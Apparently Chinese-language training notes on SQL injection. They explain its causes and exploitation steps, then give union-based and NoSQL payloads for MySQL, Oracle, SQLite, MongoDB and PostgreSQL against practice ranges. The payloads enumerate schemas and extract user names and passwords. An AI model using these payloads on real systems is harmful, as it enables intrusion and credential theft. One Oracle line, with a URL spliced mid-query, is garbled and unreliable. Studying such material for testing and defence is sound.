知識點:
1、Web攻防-SQL注入-產生原理&應用因素
2、Web攻防-SQL注入-各類數據庫類型利用
演示案例-WEB攻防-SQL注入-數據庫類型&架構分層&符號干擾
一、數據庫知識
1、數據庫名,表名,列名,數據
2、自帶數據庫,數據庫用戶及權限
3、數據庫敏感函數,默認端口(3306、1521、1433、6379等)
4、數據庫查詢方法(增刪改查)
二、SQL注入產生原理
代碼中執行的SQL語句存在可控變量導致
三、影響SQL注入的主要因素
1、數據庫類型(權限操作)
2、數據操作方法(增刪改查)
3、參數數據類型(符號干擾)
4、參數數據格式(加密編碼等)
5、提交數據方式(數據包部分)
GET注入、POST注入、HTTP頭注入
6、有無數據處理(無回顯邏輯等)
延遲注入
四、常見SQL注入的利用過程
1、判斷數據庫類型
2、判斷參數類型及格式
3、判斷數據格式及提交
4、判斷數據回顯及防護
5、獲取數據庫名,表名,列名
6、獲取對應數據及嘗試其他利用
五、黑盒/白盒如何發現SQL注入
1、盲對所有參數進行測試
2、整合功能點腦補進行測試
白盒參考后期代碼審計課程
六、利用過程
獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)
演示案例-WEB攻防-SQL注入-數據庫類型&利用過程&發現思路
靶場
http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection
一、Access:已經基本淘汰 意義不大
二、Mssql
http://vulnweb.com/
三、Mysql
https://mozhe.cn/Special/SQL_Injection
參考文章:https://blog.csdn.net/weixin_57524749/article/details/140618103
1、查看當前頁面在數據庫里的字段數
order by 5
2、獲取數據庫名
id=-1 union select 1,database(),3,4
3、獲取表名
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
4、獲取列名
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
5、獲取相關數據
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member
四、Oracle
參考文章:https://blog.csdn.net/A2893992091/article/details/141365829
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whehttps://blog.csdn.net/qq_32393893/article/details/1030832401=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')
五、SQLite
參考文章: https://blog.csdn.net/qq_32393893/article/details/103083240
union select 1,name,sql,4 from sqlite_master limit 0,1
union select 1,name,password,4 from WSTMart_reg
六、MongoDB
參考文章:https://blog.csdn.net/m0_75036923/article/details/141364038
id=1'});return ({title:'1',content:'2
'});return ({content:tojson(db.getCollectionNames()),title:'1
'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'
七、PostgreSQL
參考文章:https://blog.csdn.net/2401_88387979/article/details/144275425
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users